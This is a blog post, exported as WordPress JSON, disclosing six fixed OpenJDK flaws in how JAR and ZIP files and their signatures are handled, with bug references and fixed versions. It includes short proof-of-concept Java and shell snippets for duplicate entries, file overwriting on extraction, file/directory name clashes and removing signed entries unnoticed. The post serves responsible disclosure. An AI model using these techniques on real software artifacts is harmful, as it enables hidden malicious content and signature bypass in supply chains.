{"id":6881,"date":"2026-02-06T13:58:02","date_gmt":"2026-02-06T13:58:02","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=6881"},"modified":"2026-02-06T13:58:02","modified_gmt":"2026-02-06T13:58:02","slug":"breaking-the-jars-security-issues-in-java-archives","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=6881","title":{"rendered":"Breaking the JARs: Security Issues in Java ARchives"},"content":{"rendered":"

\u201cThis building is protected by a very secure system \u2026 But like all systems it has a weakness. The system is based on the rules of a building. One system built on another.\u201d<\/em> (Keymaker \u2013 \u201cThe Matrix Reloaded\u201d)<\/p>\n

Summary<\/h1>\n

Six issues related to how Java handles JAR files, ZIP files and digital signatures in JAR files were reported to and fixed by OpenJDK \/ Oracle. These could be used to hide malicious files inside JARs, bypass digital signatures and overwrite existing content. One of the issues was assigned as CVE (CVE-2024-20932) and the rest were fixed without CVE assignments.<\/p>\n

Technical Details<\/h1>\n

The Java programming language supports the use of digital signatures to validate the authenticity of Java class files packaged into JAR files<\/a> (JAR = Java ARchive). These are based on the ZIP file format <\/a>with additional of a special digital signature schema <\/a>which uses a set of special manifest files included in the ZIP file itself containing digital signatures applying to the rest of the files in the archive (unlike other signature schemes such as PGP or sigstore). This can lead to security issues related to how the manifest files or other files in the archive are stored or processed.<\/p>\n

Java also includes a number of classes and CLI utilities dealing with JAR files \u2013 all supporting digital signature validation:<\/p>\n

JarFile<\/a> \u2013 uses the central directory<\/p>\n

JarInputStream<\/a> \u2013 reads ZIP files in streaming mode, ignoring the central directory<\/p>\n

jar<\/a> (cli) \u2013 used to create, update and extract JARs<\/p>\n

jarsigner<\/a> (cli) \u2013 used to sign and verify digital signatures for JAR files<\/p>\n

A key point to keep in mind regarding ZIP is that entries in the ZIP files appear through out the file (local) but also appear in an index located in the end of the file (central directory). Normal processing is done by reading the central directory then referencing entries from there but it is possible to process ZIP files in \u201cstreaming\u201d mode by ignoring the central directory and reading the entries directly. This can introduce an number of security issues by exploiting the differences between the two approaches. A good overview of this, the ZIP format and various ZIP attacks can be found here: https:\/\/www.youtube.com\/watch?v=8Uue8tARdNs<\/a>.<\/p>\n

Issue #1 \u2013 Duplicate File Handling in jar CLI<\/h2>\n

The Java jar<\/a> cli did not correctly handle a case where two entries with the same file name would appear in the same JAR file. This could be exploited to hide a malicious file as a second duplicate entry and used to overwrite a legit file already in the JAR or bypass signature validation. This issue was fixed <\/a>by adding detection for this edge case on May 28th, 2025 and the fix was shipped in the following JDK versions: 25. See release notes<\/a>:<\/p>\n

\u201cThe\u00a0jar –validate\u00a0command has been enhanced to identify and generate a warning message for: \u2026 Duplicate entry names\u201d<\/em><\/p>\n

The following Java code can be used for generate a proof of concept JAR:<\/p>\n

\n
\n
\n
import java.io.*;<\/div>\n
import java.util.zip.*;<\/div>\n
import java.lang.reflect.*;<\/div>\n
<\/div>\n
public class CreateDuplicateJar {<\/div>\n
public static void main(String[] args) throws Exception {<\/div>\n
FileOutputStream fos = new FileOutputStream(“duplicate.jar”);<\/div>\n
ZipOutputStream zos = new ZipOutputStream(fos);<\/div>\n
<\/div>\n
\/\/ Clear the names HashSet to allow duplicates<\/div>\n
Field namesField = ZipOutputStream.class.getDeclaredField(“names”);<\/div>\n
namesField.setAccessible(true);<\/div>\n
<\/div>\n
zos.putNextEntry(new ZipEntry(“Test.class”));<\/div>\n
zos.write(“first”.getBytes());<\/div>\n
zos.closeEntry();<\/div>\n
<\/div>\n
((java.util.HashSet)namesField.get(zos)).clear();<\/div>\n
<\/div>\n
zos.putNextEntry(new ZipEntry(“Test.class”));<\/div>\n
zos.write(“second”.getBytes());<\/div>\n
zos.closeEntry();<\/div>\n
<\/div>\n
zos.close();<\/div>\n
}<\/div>\n
}<\/div>\n<\/div>\n<\/div>\n<\/div>\n

You can test this on a fixed version of the JDK (25) by running the validate command:<\/p>\n

\n
\n
\n
jar –validate duplicate.jar<\/div>\n<\/div>\n<\/div>\n<\/div>\n

Issue #2 \u2013 Overwriting existing files via jar CLI (-x)<\/h2>\n

The Java jar<\/a> cli includes an extract (-x) option which extracts files to the file system. The tool didn\u2019t check if the files being extracted are overwriting a file already present. This can be exploited to overwrite security sensitive files without user\u2019s knowledge. The issue was fixed by adding a new option (\u2013keep-old-files\u00a0\/\u00a0-k) which will prevent overwriting of files. This was fixed<\/a> on October 23th, 2024 and shipped in the following JDK versions: 21.0.6, 17.0.14, 11.0.27 and 8u452. The following was added to the release notes<\/a>:<\/p>\n

\u201cThe\u00a0jar\u00a0tool\u2019s extract operation has been enhanced to allow the\u00a0–keep-old-files\u00a0and the\u00a0-k\u00a0options to be used in preventing the overwriting of existing files. \u2026 Either of these commands will extract the contents of\u00a0foo.jar. If an entry with the same name already exists in the target directory, then the existing file will not be overwritten.\u201d<\/em><\/p>\n

The following shell script can be used as proof of concept:<\/p>\n

\n
\n
\n
#!\/bin\/bash<\/div>\n
<\/div>\n
# Setup<\/div>\n
echo “original” > file.txt<\/div>\n
jar cf test.jar file.txt<\/div>\n
rm file.txt<\/div>\n
<\/div>\n
# Test 1: Normal extraction (overwrites)<\/div>\n
echo “=== Test 1: Normal extraction ===”<\/div>\n
echo “existing” > file.txt<\/div>\n
jar xvf test.jar<\/div>\n
echo “Content: $(cat file.txt)”<\/div>\n
rm file.txt<\/div>\n
<\/div>\n
# Test 2: Keep old files (skips)<\/div>\n
echo -e “n=== Test 2: Keep old files (-k) ===”<\/div>\n
echo “existing” > file.txt<\/div>\n
jar xkvf test.jar<\/div>\n
echo “Content: $(cat file.txt)”<\/div>\n
<\/div>\n
# Cleanup<\/div>\n
rm file.txt test.jar<\/div>\n<\/div>\n<\/div>\n<\/div>\n

Issue #3 \u2013 Duplicate directory entries (JDK17 only) \u2013 CVE-2024-20932<\/h2>\n

The ZIP classes in Java failed to correctly handle an edge case where two entries exist in a ZIP file, one as a file and another that\u2019s a directory. Can be exploited to bypass certain restrictions or hide malicious data. This was fixed<\/a> on January 9th, 2024 and shipped in the following JDK versions: 17.0.19. CVE-2024-20932 was assigned to this issue:<\/p>\n

\u201cIt was discovered that the Libraries component in OpenJDK failed to properly handle ZIP archives that contain a file and directory entry with the same name within the ZIP file. This could lead to integrity issues when extracting data from such archives. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions.\u201d<\/em><\/p>\n

The following Java code is a proof of concept for this issue:<\/p>\n

\n
\n
\n
import java.io.*;<\/div>\n
import java.util.zip.*;<\/div>\n
<\/div>\n
public class ZipDuplicateEntryPOC {<\/div>\n
public static void main(String[] args) throws Exception {<\/div>\n
String zipName = “poc.zip”;<\/div>\n
<\/div>\n
\/\/ Create ZIP with both “test” file and “test\/” directory<\/div>\n
try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipName))) {<\/div>\n
\/\/ Add file entry “test”<\/div>\n
ZipEntry fileEntry = new ZipEntry(“test”);<\/div>\n
zos.putNextEntry(fileEntry);<\/div>\n
zos.write(“FILE_CONTENT”.getBytes());<\/div>\n
zos.closeEntry();<\/div>\n
<\/div>\n
\/\/ Add directory entry “test\/”<\/div>\n
ZipEntry dirEntry = new ZipEntry(“test\/”);<\/div>\n
zos.putNextEntry(dirEntry);<\/div>\n
zos.closeEntry();<\/div>\n
}<\/div>\n
<\/div>\n
\/\/ Test getEntry behavior<\/div>\n
try (ZipFile zf = new ZipFile(zipName)) {<\/div>\n
ZipEntry entry = zf.getEntry(“test”);<\/div>\n
<\/div>\n
System.out.println(“Entry name: ” + entry.getName());<\/div>\n
System.out.println(“Is directory: ” + entry.isDirectory());<\/div>\n
System.out.println(“Size: ” + entry.getSize());<\/div>\n
<\/div>\n
if (entry.isDirectory()) {<\/div>\n
System.out.println(“n[VULNERABLE] Got directory entry instead of file!”);<\/div>\n
} else {<\/div>\n
System.out.println(“n[PATCHED] Got file entry correctly”);<\/div>\n
}<\/div>\n
}<\/div>\n
}<\/div>\n
}<\/div>\n<\/div>\n<\/div>\n<\/div>\n

Issue #4 \u2013 Incorrect handling of duplicate manifest files (JarInputStream)<\/h2>\n

The JarInputStream<\/a> incorrectly handled cases where the manifest would appear twice in the same JAR file in regards to digital signatures. This was fixed<\/a> on April 16th, 2025 and shipped in the following JDK versions: 21.0.7, 17.0.15, 11.0.27 and 8u452. See release notes<\/a>:<\/p>\n

\u201cThe\u00a0JarInputStream\u00a0class now treats a signed JAR as unsigned if it detects a second manifest within the first two entries in the JAR file. A warning message\u00a0“WARNING: Multiple MANIFEST.MF found. Treat JAR file as unsigned.”\u00a0is logged if the system property,\u00a0-Djava.security.debug=jar, is set.\u201d<\/em><\/p>\n

No POC code is available<\/p>\n

Issue #5 \u2013 Digital signature bypass via local\/central header confusion<\/h2>\n

The various CLIs and classes handling JAR files read file entries either as streaming (local headers) or central directory mode. It is possible for an attacker to exploit the differences between the various implementations by adding file entries to the local headers which will pass digital signature validation based on central directory and then be extract when local headers \/ streaming mode is used. This issue was fixed <\/a>by adding detection for this edge case on May 28th, 2025 and the fix was shipped in the following JDK versions: 25.b26. See release notes<\/a>:<\/p>\n

\u201cThe\u00a0jar –validate\u00a0command has been enhanced to identify and generate a warning message for \u2026 Inconsistencies in the ordering of entries between the LOC and CEN headers\u201d<\/em><\/p>\n

No POC code is available<\/p>\n

Issue #6 \u2013 No detection of signed content being removed (jarsigner)<\/h2>\n

The Java jarsigner<\/a> cli failed to detect when a digitally signed JAR file had some file entries removed. This can be exploited to impact security by removing service provider classes or security policy files. The issue was fixed by adding detection of deleted content that was digitally signed and the fix was shipped in the following JDK versions: 21.0.8, 17.0.16, 11.0.28 and 8u462. This was fixed<\/a> on October 2nd, 2024 \u2013 see release notes<\/a>:<\/p>\n

\u201cIf an entry is removed from a signed JAR file, there is no mechanism to detect that it has been removed using the\u00a0JarFile\u00a0API, since the\u00a0getJarEntry\u00a0method returns\u00a0null\u00a0as if the entry had never existed. With this change, the\u00a0jarsigner -verify\u00a0command analyzes the signature files and if some sections do not have matching file entries, it prints out the following warning: \u201cThis JAR contains signed entries for files that do not exist\u201d. Users can further find out the names of these entries by adding the\u00a0-verbose\u00a0option to the command.\u201d<\/em><\/p>\n

The following shell script can be used as a proof of concept:<\/p>\n

\n
\n
\n
#!\/bin\/bash<\/div>\n
<\/div>\n
set -e<\/div>\n
<\/div>\n
echo “[*] Creating test files…”<\/div>\n
echo “sensitive data” > secret.txt<\/div>\n
echo “normal data” > normal.txt<\/div>\n
<\/div>\n
echo “[*] Creating JAR with both files…”<\/div>\n
jar cf app.jar secret.txt normal.txt<\/div>\n
<\/div>\n
echo “[*] Generating signing key…”<\/div>\n
keytool -genkeypair -alias testkey -keyalg RSA -keysize 2048 <\/div>\n
-keystore keystore.jks -storepass changeit -keypass changeit <\/div>\n
-dname “CN=Test” -validity 365 2>\/dev\/null<\/div>\n
<\/div>\n
echo “[*] Signing JAR…”<\/div>\n
jarsigner -keystore keystore.jks -storepass changeit -keypass changeit <\/div>\n
app.jar testkey 2>\/dev\/null<\/div>\n
<\/div>\n
echo “[*] Verifying signed JAR (should pass)…”<\/div>\n
jarsigner -verify app.jar<\/div>\n
<\/div>\n
echo -e “n[!] ATTACK: Removing secret.txt from signed JAR…”<\/div>\n
zip -d app.jar secret.txt<\/div>\n
<\/div>\n
echo -e “n[*] Verifying JAR after removal…”<\/div>\n
jarsigner -verify app.jar<\/div>\n
<\/div>\n
echo -e “n[*] Checking JAR contents…”<\/div>\n
jar tf app.jar<\/div>\n
<\/div>\n
echo -e “n[!] Result: JAR still appears signed but secret.txt is gone!”<\/div>\n
echo “[!] The signature for secret.txt remains in META-INF\/*.SF”<\/div>\n
echo “[!] This could hide evidence of file removal or tampering”<\/div>\n
<\/div>\n
# Cleanup<\/div>\n
rm -f secret.txt normal.txt app.jar keystore.jks<\/div>\n
<\/div>\n
<\/div>\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n

Disclosure Information and References<\/h1>\n

With exception of issue # 3 above (CVE-2024-20932), all remaining issues were not issued a CVE and some received an in-depth security fix acknowledgement by Oracle \/ OpenJDK.<\/p>\n

Issue #1 \u2013 Duplicate File Handling in jar CLI:<\/span><\/strong><\/p>\n

Bug: https:\/\/bugs.openjdk.org\/browse\/JDK-8345431<\/a><\/p>\n

Git commit: https:\/\/github.com\/openjdk\/jdk\/commit\/cd052c72cdb62186e66c1d2ecf9216f3df61b242<\/a><\/p>\n

Fixed versions: 25<\/p>\n

Issue #2 \u2013 Overwriting existing files via jar CLI (-x):<\/span><\/strong><\/p>\n

Bug: https:\/\/bugs.openjdk.org\/browse\/JDK-8335912<\/a><\/p>\n

Git commit: https:\/\/github.com\/openjdk\/jdk\/commit\/158b93d19a518d2b9d3d185e2d4c4dbff9c82aab<\/a><\/p>\n

Fixed versions: 21.0.6, 17.0.14, 11.0.27 and 8u452<\/p>\n

Issue #3 \u2013 Duplicate directory entries (JDK17 only):<\/span><\/strong><\/p>\n

CVE: https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-20932<\/a><\/p>\n

Git commit: https:\/\/github.com\/openjdk\/jdk17u\/commit\/f6f32bf256e34447f54be823fdfb2e64e235e404<\/a><\/p>\n

Redhat Bugzilla entry: https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=CVE-2024-20932<\/a><\/p>\n

Issue #4 \u2013 Incorrect handling of duplicate manifest files (JarInputStream):<\/span><\/strong><\/p>\n

Bug: JDK-8337494<\/p>\n

Git commit: https:\/\/github.com\/openjdk\/jdk\/commit\/ef38a04b448f97036c516ba87cb86afcc7559d1f<\/a><\/p>\n

Fixed versions: 21.0.7, 17.0.15, 11.0.27 and 8u452<\/p>\n

Issue #5 \u2013 verification bypass via local\/central header confusion:<\/span><\/strong><\/p>\n

Bug: https:\/\/bugs.openjdk.org\/browse\/JDK-8345431<\/a><\/p>\n

Git commit: https:\/\/github.com\/openjdk\/jdk\/commit\/cd052c72cdb62186e66c1d2ecf9216f3df61b242<\/a><\/p>\n

Fixed versions: 25<\/p>\n

Issue #6 \u2013 No detection of signed content being removed (jarsigner):<\/span><\/strong><\/p>\n

Bug: https:\/\/bugs.openjdk.org\/browse\/JDK-8309841<\/a><\/p>\n

Git commit: https:\/\/github.com\/openjdk\/jdk\/commit\/bdfb41f977258831e4b0ceaef5d016d095ab6e7f<\/a><\/p>\n

Fixed versions: 25.b26<\/p>\n

Acknowledgements<\/h1>\n

The author would like to thank everyone who was involved in the disclosure process for these issues \u2013 you know who you are.<\/p>","protected":false},"excerpt":{"rendered":"

\u201cThis building is protected by a very secure system \u2026 But like all systems it has a weakness. The system is based on the rules of a building. One system built on another.\u201d (Keymaker \u2013 \u201cThe Matrix Reloaded\u201d) Summary Six issues related to how Java handles JAR files, ZIP files and digital signatures in JAR […]<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-6881","post","type-post","status-publish","format-standard","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/6881"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6881"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/6881\/revisions"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6881"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6881"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6881"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}